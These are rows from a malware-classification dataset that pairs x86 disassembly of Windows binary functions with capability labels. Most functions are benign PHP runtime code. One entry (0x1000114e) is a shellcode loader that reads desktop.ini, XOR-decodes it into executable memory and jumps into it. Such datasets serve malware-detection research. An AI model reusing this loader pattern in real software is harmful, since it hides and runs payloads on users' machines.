joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101b93de
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.101b935a
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x101b954d
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x101b954d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x101b9502
jg 0x101b943a
test eax, eax
je 0x101b94f8
push 1
push 0x1000
call fcn.101ab78c
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x101b945d
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x101b94ef
push 0x8000
push ebx
call fcn.101b928b
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x101b9486
jg 0x101b9481
cmp ecx, 0x1000
jb 0x101b9486
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.101ac333
add esp, 0x10
cmp eax, 0xffffffff
je 0x101b94cb
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x101b9481
jl 0x101b94b2
test ecx, ecx
jne 0x101b9473
push dword [ebp - 0xc]
push ebx
call fcn.101b928b
push esi
call fcn.101a8578
add esp, 0xc
xor ebx, ebx
jmp 0x101b955b
cmp byte [edi + 0x24], 0
je 0x101b94e2
cmp dword [edi + 0x20], 5
jne 0x101b94e2
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x101b94ed
mov ebx, dword [edi + 0x18]
jmp 0x101b94ef
xor ebx, ebx
push esi
call fcn.101a8578
pop ecx
jmp 0x101b955b
test ecx, ecx
jg 0x101b94c4
jl 0x101b9502
test eax, eax
jae 0x101b94c4
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.101ae25b
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x101b9522
cmp byte [edi + 0x1c], 0
je 0x101b94c4
jmp 0x101b9553
push ebx
call fcn.101a623c
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x101b94c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x101b955b
cmp byte [edi + 0x1c], 0
je 0x101b9558
mov ebx, dword [edi + 0x18]
jmp 0x101b955b
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.101ae25b
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x101b9f70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x101b9f9d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x101b9f9d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x10013a4
Capabilities:
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
mov esi, ecx
mov eax, dword [esi + 0x248]
mov edi, 0xfffff758
and eax, edi
or eax, dword [ebp + 8]
push eax
lea eax, [esi + 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x10013e4
mov eax, dword [esi + 0x248]
and eax, edi
or eax, dword [ebp + 8]
mov dword [esi + 0x248], eax
mov al, 1
jmp 0x10013f5
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10013f3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
xor al, al
pop edi
pop esi
pop ebp
ret 8

Function at 0x1005427
Capabilities:
Encode data using xor

Disassembly:
enter 0, 0
pushal
mov ebx, 0x7fffffff
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov edi, esi
Function at 0x100341c0
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi]
test eax, 0x7fffffff
jbe 0x10034212
shl eax, 3
cmp byte [esi + 0x24], 0
push edi
push eax
jne 0x10034214
mov ecx, dword [0x10660270]
mov edx, dword [esi + 0x1c]
cmp dword [ecx], 0
je 0x1003422a
call fcn.1000d2d0
mov edi, eax
pop ecx
mov eax, dword [sym.php5.dll_zend_block_interruptions]
test eax, eax
jne 0x10034231
shl dword [esi], 1
mov eax, dword [esi]
dec eax
push esi
mov dword [esi + 0x1c], edi
mov dword [esi + 4], eax
call sym.php5.dll_zend_hash_rehash
mov eax, dword [sym.php5.dll_zend_unblock_interruptions]
pop ecx
pop edi
test eax, eax
jne 0x10034235
pop esi
ret
push dword [esi + 0x1c]
call dword [sym.imp.MSVCR110.dll_realloc]
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x100341ed
jmp fcn.103a2535
push edx
call dword [ecx + 0xc]
pop ecx
jmp 0x100341ea
call eax
jmp 0x100341f6
pop esi
jmp eax

Function at 0x1003e140
Capabilities:
Query environment variable

Disassembly:
push str.USE_ZEND_ALLOC
call dword [sym.imp.MSVCR110.dll_getenv]
pop ecx
test eax, eax
jne 0x10374123
call sym.php5.dll_zend_mm_startup
mov dword [0x10660270], eax
ret
push 0
push eax
call sym.php5.dll_zend_atoi
pop ecx
pop ecx
test eax, eax
jne 0x1003e154
push esi
mov esi, dword [sym.imp.MSVCR110.dll_malloc]
push edi
mov edi, 0x25c
push edi
call esi
push edi
push 0
push eax
mov dword [0x10660270], eax
call sub.MSVCR110.dll_memset
mov eax, dword [0x10660270]
mov ecx, dword [sym.imp.MSVCR110.dll_free]
and dword [eax], 0
mov eax, dword [0x10660270]
add esp, 0x10
mov dword [eax + 4], esi
mov eax, dword [0x10660270]
pop edi
mov dword [eax + 8], ecx
mov eax, dword [0x10660270]
mov ecx, dword [sym.imp.MSVCR110.dll_realloc]
mov dword [eax + 0xc], ecx
pop esi
ret
Function at 0x1003e160
Capabilities:
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [sym.imp.MSVCR110.dll_getenv]
push esi
push edi
push str.ZEND_MM_MEM_TYPE
call ebx
mov edx, eax
xor esi, esi
pop ecx
mov edi, esi
test edx, edx
jne 0x1003e1d3
imul edi, edi, 0x1c
push str.ZEND_MM_SEG_SIZE
add edi, 0x1053af00
call ebx
pop ecx
test eax, eax
jne 0x10374378
mov edx, 0x40000
push esi
push esi
push 0x2000
push edx
push edi
call sym.php5.dll_zend_mm_startup_ex
mov edi, eax
add esp, 0x14
test edi, edi
je 0x1003e1cc
push str.ZEND_MM_COMPACT
call ebx
pop ecx
test eax, eax
jne 0x103743a4
mov dword [edi + 0x1c], 0x200000
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [str.win32]
jmp 0x103742c2
mov ecx, edx
mov bl, byte [eax]
cmp bl, byte [ecx]
mov byte [ebp - 1], bl
mov ebx, dword [sym.imp.MSVCR110.dll_getenv]
jne 0x103742ad
cmp byte [ebp - 1], 0
je 0x103742a9
mov bl, byte [eax + 1]
cmp bl, byte [ecx + 1]
mov byte [ebp - 1], bl
mov ebx, dword [sym.imp.MSVCR110.dll_getenv]
jne 0x103742ad
add eax, 2
add ecx, 2
cmp byte [ebp - 1], 0
jne 0x10374277
mov eax, esi
jmp 0x103742b2
sbb eax, eax
or eax, 1
test eax, eax
je 0x103742c6
inc edi
mov eax, edi
imul eax, eax, 0x1c
mov eax, dword [eax + 0x1053af00]
test eax, eax
jne 0x10374275
mov eax, edi
imul eax, eax, 0x1c
cmp dword [eax + 0x1053af00], esi
jne 0x1003e180
mov edi, dword [sym.imp.MSVCR110.dll___iob_func]
push edx
push str.Wrong_or_unsupported_zend_mm_storage_type__s_n
call edi
mov ebx, dword [sym.imp.MSVCR110.dll_fprintf]
add eax, 0x40
push eax
call ebx
add esp, 0xc
push str.__supported_types:_n
call edi
add eax, 0x40
push eax
call ebx
call edi
add eax, 0x40
push eax
call dword [sym.imp.MSVCR110.dll_fflush]
mov eax, dword [str.win32]
add esp, 0xc
jmp 0x10374334
push eax
push str._____s_n
call edi
add eax, 0x40
push eax
call ebx
add esp, 0xc
inc esi
mov eax, esi
imul eax, eax, 0x1c
mov eax, dword [eax + 0x1053af00]
test eax, eax
jne 0x10374317
call edi
add eax, 0x40
push eax
call dword [sym.imp.MSVCR110.dll_fflush]
pop ecx
jmp 0x1037436d
push str.ZEND_MM_SEG_SIZE_must_be_a_power_of_two_n
mov esi, dword [sym.imp.MSVCR110.dll___iob_func]
call esi
add eax, 0x40
push eax
call dword [sym.imp.MSVCR110.dll_fprintf]
call esi
add eax, 0x40
push eax
call dword [sym.imp.MSVCR110.dll_fflush]
add esp, 0xc
push 0xff
call dword [sym.imp.MSVCR110.dll_exit]
push esi
push eax
call sym.php5.dll_zend_atoi
pop ecx
mov edx, eax
pop ecx
mov dword [ebp - 8], edx
bsf eax, dword [ebp - 8]
mov ecx, eax
bsr eax, dword [ebp - 8]
cmp ecx, eax
jne 0x10374347
cmp edx, 0x10
jae 0x1003e19e
push str.ZEND_MM_SEG_SIZE_is_too_small_n
jmp 0x1037434c
push esi
push eax
call sym.php5.dll_zend_atoi
pop ecx
pop ecx
mov dword [edi + 0x1c], eax
jmp 0x1003e1cc
Function at 0x1003e5a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
mul dword [ebp + 0xc]
add eax, dword [ebp + 0x10]
adc edx, 0
mov dword [ebp - 4], edx
jne 0x103739e3
cmp eax, 0xffffffff
ja 0x103739e3
push eax
call dword [sym.imp.MSVCR110.dll_malloc]
pop ecx
test eax, eax
je 0x10373a02
leave
ret
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str.Possible_integer_overflow_in_memory_allocation___zu___zu___zu_
push 1
call sym.php5.dll_zend_error
add esp, 0x14
xor eax, eax
jmp 0x1003e5c3
push str.Out_of_memory_n
call dword [sym.imp.MSVCR110.dll___iob_func]
add eax, 0x40
push eax
call dword [sym.imp.MSVCR110.dll_fprintf]
pop ecx
pop ecx
push 1
call dword [sym.imp.MSVCR110.dll_exit]
int3
Function at 0x10041930
Capabilities:
Terminate process

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
xor ebx, ebx
mov eax, dword [edi + 8]
inc ebx
cmp eax, ebx
jbe 0x100419ef
shl eax, 2
cmp byte [edi + 0x24], 0
push esi
push eax
jne 0x10041a2e
call sym.php5.dll__emalloc
pop ecx
mov esi, eax
mov eax, dword [edi + 0x14]
push ebp
xor ebp, ebp
jmp 0x1004196a
mov dword [esi + ebp*4], eax
mov eax, dword [eax + 0x10]
inc ebp
test eax, eax
jne 0x10041963
push dword [esp + 0x1c]
push 4
push ebp
push esi
call dword [esp + 0x28]
mov eax, dword [sym.php5.dll_zend_block_interruptions]
add esp, 0x10
test eax, eax
jne 0x10041a4c
mov eax, dword [esi]
xor ecx, ecx
mov dword [edi + 0x14], eax
mov dword [edi + 0x18], ecx
mov dword [edi + 0x10], eax
mov eax, dword [esi]
mov dword [eax + 0x14], ecx
cmp ebp, ebx
jle 0x10041a27
mov ecx, dword [esi]
mov eax, dword [esi + 4]
lea edx, [ebp - 1]
mov dword [ecx + 0x10], eax
cmp edx, ebx
jg 0x10041a00
mov ecx, dword [esi + ebx*4]
mov eax, dword [esi + ebx*4 - 4]
mov dword [ecx + 0x14], eax
mov eax, dword [esi + ebx*4]
and dword [eax + 0x10], 0
cmp byte [edi + 0x24], 0
mov eax, dword [esi + ebp*4 - 4]
pop ebp
mov dword [edi + 0x18], eax
push esi
jne 0x10041a44
call sym.php5.dll__efree
mov eax, dword [sym.php5.dll_zend_unblock_interruptions]
pop ecx
test eax, eax
jne 0x10041a53
cmp dword [esp + 0x1c], 0
jne 0x10041a1b
pop esi
pop edi
xor eax, eax
pop ebx
ret
cmp dword [esp + 0x18], 0
je 0x100419ea
test eax, eax
jne 0x10041944
jmp 0x100419ea
mov ecx, dword [esi + ebx*4]
mov eax, dword [esi + ebx*4 - 4]
mov dword [ecx + 0x14], eax
mov ecx, dword [esi + ebx*4]
mov eax, dword [esi + ebx*4 + 4]
inc ebx
mov dword [ecx + 0x10], eax
cmp ebx, edx
jl 0x10041a00
jmp 0x100419b3
push 0
push edi
call sym.php5.dll_zend_hash_reindex
pop ecx
pop ecx
jmp 0x100419e9
mov eax, dword [esi]
mov dword [eax + 0x10], ecx
jmp 0x100419c4
call dword [sym.imp.MSVCR110.dll_malloc]
mov esi, eax
pop ecx
test esi, esi
jne 0x1004195b
jmp 0x10398004
call dword [sym.imp.MSVCR110.dll_free]
jmp 0x100419d8
call eax
jmp 0x1004198a
call eax
jmp 0x100419e2
push str.Out_of_memory_n
call dword [sym.imp.MSVCR110.dll___iob_func]
add eax, 0x40
push eax
call dword [sym.imp.MSVCR110.dll_fprintf]
pop ecx
pop ecx
push ebx
call dword [sym.imp.MSVCR110.dll_exit]
int3
Function at 0x100421b0
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [0x10660268]
cmp dword [esi], 0
je 0x100421de
push edi
mov edi, dword [esi]
movzx eax, byte [edi + 0x4c]
push dword [edi + 0x54]
push eax
call dword [edi + 0x24]
pop ecx
pop ecx
cmp eax, 0xffffffff
je 0x10371324
add esi, 4
cmp dword [esi], 0
jne 0x100421bd
pop edi
pop esi
ret
push dword [edi + 0x14]
push str.request_startup___for__s_module_failed
push 2
call sym.php5.dll_zend_error
add esp, 0xc
push 1
call dword [sym.imp.MSVCR110.dll_exit]
int3
Function at 0x10045ec0
Capabilities:
Hash data using djb2

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, ecx
push 0x138
mov ebx, edx
mov dword [esp + 0x18], edi
call dword [sym.imp.MSVCR110.dll_malloc]
mov esi, dword [edi + 8]
mov ebp, eax
inc esi
push esi
mov dword [esp + 0x18], ebp
call sym.php5.dll__emalloc
push 0x4e
pop ecx
mov esi, edi
mov edi, ebp
push 0
rep movsd dword es:[edi], dword [esi]
push ebp
mov dword [esp + 0x28], eax
mov byte [ebp], 1
call sym.php5.dll_zend_initialize_class_data
mov dword [ebp + 0x14], ebx
mov eax, dword [0x10669438]
mov dword [ebp + 0x128], eax
mov ecx, dword [ebp + 0x124]
add esp, 0x10
test ecx, ecx
je 0x10045f2e
push 1
lea eax, [ebp + 0x18]
push eax
push ecx
push ebp
call sym.php5.dll_zend_register_functions
add esp, 0x10
push dword [ebp + 8]
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
push dword [eax + 4]
push esi
call sym.php5.dll_zend_str_tolower_copy
mov eax, dword [ebp + 8]
push 1
inc eax
push eax
push esi
call dword [sym.php5.dll_zend_new_interned_string]
mov esi, eax
add esp, 0x18
cmp esi, dword [0x106690bc]
jb 0x1037109b
cmp esi, dword [0x106690c0]
jae 0x1037109b
mov ecx, dword [esi - 0x24]
push 1
push 0
push 4
lea eax, [esp + 0x1c]
push eax
mov eax, dword [ebp + 8]
push ecx
inc eax
push eax
push esi
push dword [0x10668fa0]
call sym.php5.dll__zend_hash_quick_add_or_update
add esp, 0x20
cmp esi, dword [0x106690bc]
jb 0x10045fac
cmp esi, dword [0x106690c0]
jae 0x10045fac
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push esi
call sym.php5.dll__efree
pop ecx
jmp 0x10045fa0
mov edi, dword [ebp + 8]
inc edi
mov edx, esi
mov ecx, 0x1505
cmp edi, 8
jb switch.0x10371100
mov ebx, edi
shr ebx, 3
movsx eax, byte [edx]
imul ecx, ecx, 0x21
add ecx, eax
movsx eax, byte [edx + 1]
imul ecx, ecx, 0x21
add ecx, eax
movsx eax, byte [edx + 2]
imul ecx, ecx, 0x21
add ecx, eax
movsx eax, byte [edx + 3]
imul ecx, ecx, 0x21
add ecx, eax
movsx eax, byte [edx + 4]
imul ecx, ecx, 0x21
add ecx, eax
movsx eax, byte [edx + 5]
imul ecx, ecx, 0x21
add ecx, eax
movsx eax, byte [edx + 6]
imul ecx, ecx, 0x21
add ecx, eax
movsx eax, byte [edx + 7]
imul ecx, ecx, 0x21
add ecx, eax
add edx, 8
sub edi, 8
dec ebx
jne 0x103710b0
jmp dword [edi*4 + 0x1037114b]
movsx eax, byte [edx]
imul ecx, ecx, 0x21
add ecx, eax
inc edx
movsx eax, byte [edx]
imul ecx, ecx, 0x21
add ecx, eax
inc edx
movsx eax, byte [edx]
imul ecx, ecx, 0x21
add ecx, eax
inc edx
movsx eax, byte [edx]
imul ecx, ecx, 0x21
add ecx, eax
inc edx
movsx eax, byte [edx]
imul ecx, ecx, 0x21
add ecx, eax
inc edx
movsx eax, byte [edx]
imul ecx, ecx, 0x21
add ecx, eax
inc edx
movsx eax, byte [edx]
imul ecx, ecx, 0x21
add ecx, eax
jmp 0x10045f70
Function at 0x10047440
Capabilities:
Hash data using djb2

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
mov edi, dword [esp + 0x18]
mov ebx, ebp
mov esi, edi
mov eax, 0x1505
cmp ebp, 8
jb switch.0x100474d4
mov edi, ebp
shr edi, 3
nop
mov ecx, eax
shl ecx, 5
add ecx, eax
movsx eax, byte [esi]
add ecx, eax
movsx eax, byte [esi + 1]
mov edx, ecx
shl edx, 5
add edx, ecx
add edx, eax
movsx eax, byte [esi + 2]
mov ecx, edx
shl ecx, 5
add ecx, edx
add ecx, eax
movsx eax, byte [esi + 3]
mov edx, ecx
shl edx, 5
add edx, ecx
add edx, eax
movsx eax, byte [esi + 4]
mov ecx, edx
shl ecx, 5
add ecx, edx
add ecx, eax
movsx eax, byte [esi + 5]
mov edx, ecx
shl edx, 5
add edx, ecx
add edx, eax
movsx eax, byte [esi + 6]
mov ecx, edx
shl ecx, 5
add ecx, edx
add ecx, eax
mov eax, ecx
shl eax, 5
add eax, ecx
movsx ecx, byte [esi + 7]
add eax, ecx
add esi, 8
sub ebx, 8
dec edi
jne 0x10047460
mov edi, dword [esp + 0x18]
jmp dword [ebx*4 + 0x100475d0]
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx + 4]
mov ecx, dword [ecx + 0x1c]
and edx, eax
mov ebx, dword [ecx + edx*4]
test ebx, ebx
je 0x1004755a
mov edx, dword [ebx + 0x20]
cmp edx, edi
je 0x100475b9
cmp dword [ebx], eax
je 0x10047561
mov ebx, dword [ebx + 0x18]
test ebx, ebx
jne 0x10047548
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
cmp dword [ebx + 4], ebp
jne 0x10047553
mov esi, edi
mov edi, ebp
sub edi, 4
jb 0x10047581
nop
mov ecx, dword [edx]
cmp ecx, dword [esi]
jne 0x10047586
add edx, 4
add esi, 4
sub edi, 4
jae 0x10047570
cmp edi, 0xfffffffc
je 0x100475b3
mov cl, byte [edx]
cmp cl, byte [esi]
jne 0x100475c3
cmp edi, 0xfffffffd
je 0x100475b3
mov cl, byte [edx + 1]
cmp cl, byte [esi + 1]
jne 0x100475c3
cmp edi, 0xfffffffe
je 0x100475b3
mov cl, byte [edx + 2]
cmp cl, byte [esi + 2]
jne 0x100475c3
cmp edi, 0xffffffff
je 0x100475b3
mov cl, byte [edx + 3]
cmp cl, byte [esi + 3]
jne 0x100475c3
xor ecx, ecx
test ecx, ecx
jne 0x100475ca
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
sbb ecx, ecx
or ecx, 1
jmp 0x100475b5
mov edi, dword [esp + 0x18]
jmp 0x10047553
Function at 0x1004b350
Capabilities:
Hash data using djb2

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
mov edi, dword [esp + 0x18]
mov ebx, ebp
mov esi, edi
mov eax, 0x1505
cmp ebp, 8
jb switch.0x1004b3e4
mov edi, ebp
shr edi, 3
nop
mov ecx, eax
shl ecx, 5
add ecx, eax
movsx eax, byte [esi]
add ecx, eax
movsx eax, byte [esi + 1]
mov edx, ecx
shl edx, 5
add edx, ecx
add edx, eax
movsx eax, byte [esi + 2]
mov ecx, edx
shl ecx, 5
add ecx, edx
add ecx, eax
movsx eax, byte [esi + 3]
mov edx, ecx
shl edx, 5
add edx, ecx
add edx, eax
movsx eax, byte [esi + 4]
mov ecx, edx
shl ecx, 5
add ecx, edx
add ecx, eax
movsx eax, byte [esi + 5]
mov edx, ecx
shl edx, 5
add edx, ecx
add edx, eax
movsx eax, byte [esi + 6]
mov ecx, edx
shl ecx, 5
add ecx, edx
add ecx, eax
mov eax, ecx
shl eax, 5
add eax, ecx
movsx ecx, byte [esi + 7]
add eax, ecx
add esi, 8
sub ebx, 8
dec edi
jne 0x1004b370
mov edi, dword [esp + 0x18]
jmp dword [ebx*4 + 0x1004b4f4]
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx + 4]
mov ecx, dword [ecx + 0x1c]
and edx, eax
mov ebx, dword [ecx + edx*4]
test ebx, ebx
je 0x1004b462
jmp 0x1004b450
mov edx, dword [ebx + 0x20]
cmp edx, edi
je 0x1004b4c1
cmp dword [ebx], eax
je 0x1004b46a
mov ebx, dword [ebx + 0x18]
test ebx, ebx
jne 0x1004b450
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
cmp dword [ebx + 4], ebp
jne 0x1004b45b
mov esi, edi
mov edi, ebp
sub edi, 4
jb 0x1004b489
mov ecx, dword [edx]
cmp ecx, dword [esi]
jne 0x1004b48e
add edx, 4
add esi, 4
sub edi, 4
jae 0x1004b478
cmp edi, 0xfffffffc
je 0x1004b4bb
mov cl, byte [edx]
cmp cl, byte [esi]
jne 0x1004b4e3
cmp edi, 0xfffffffd
je 0x1004b4bb
mov cl, byte [edx + 1]
cmp cl, byte [esi + 1]
jne 0x1004b4e3
cmp edi, 0xfffffffe
je 0x1004b4bb
mov cl, byte [edx + 2]
cmp cl, byte [esi + 2]
jne 0x1004b4e3
cmp edi, 0xffffffff
je 0x1004b4bb
mov cl, byte [edx + 3]
cmp cl, byte [esi + 3]
jne 0x1004b4e3
xor ecx, ecx
test ecx, ecx
jne 0x1004b4ea
mov eax, dword [esp + 0x20]
mov ecx, dword [ebx + 8]
pop edi
pop esi
pop ebp
mov dword [eax], ecx
xor eax, eax
pop ebx
ret
mov ecx, eax
shl eax, 5
add eax, ecx
movsx ecx, byte [esi]
add eax, ecx
inc esi
jmp case.0x1004b3e4.6
sbb ecx, ecx
or ecx, 1
jmp 0x1004b4bd
mov edi, dword [esp + 0x18]
jmp 0x1004b45b
Function at 0x1004b520
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x20]
push esi
push edi
lea edi, [ebp + 2]
add edi, ebx
cmp dword [esp + 0x2c], 0
lea eax, [edi + 1]
push eax
jne 0x1004b57f
call sym.php5.dll__emalloc
pop ecx
mov esi, eax
lea eax, [ebx + 1]
push eax
push dword [esp + 0x20]
lea eax, [esi + 1]
push eax
mov byte [esi], 0
call sub.MSVCR110.dll_memcpy
lea eax, [ebp + 1]
push eax
push dword [esp + 0x34]
lea eax, [ebx + 2]
add eax, esi
push eax
call sub.MSVCR110.dll_memcpy
mov eax, dword [esp + 0x2c]
add esp, 0x18
mov dword [eax], esi
mov eax, dword [esp + 0x18]
mov dword [eax], edi
pop edi
pop esi
pop ebp
pop ebx
ret
call dword [sym.imp.MSVCR110.dll_malloc]
pop ecx
mov esi, eax
test esi, esi
jne 0x1004b544
jmp fcn.103a2535
Function at 0x1004c6d0
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0xc]
add eax, 0xb
cmp byte [esi + 0x14], 0
push eax
jne 0x1004c71b
call sym.php5.dll__emalloc
pop ecx
mov ecx, eax
mov eax, dword [esi + 4]
and dword [ecx], 0
mov dword [ecx + 4], eax
mov eax, dword [esi + 4]
test eax, eax
jne 0x1004c717
mov dword [esi], ecx
push dword [esi + 0xc]
lea eax, [ecx + 8]
push dword [esp + 0x10]
mov dword [esi + 4], ecx
push eax
call sub.MSVCR110.dll_memcpy
add esp, 0xc
inc dword [esi + 8]
pop esi
ret
mov dword [eax], ecx
jmp 0x1004c6fc
call dword [sym.imp.MSVCR110.dll_malloc]
pop ecx
mov ecx, eax
test ecx, ecx
jne 0x1004c6ea
jmp fcn.103a2535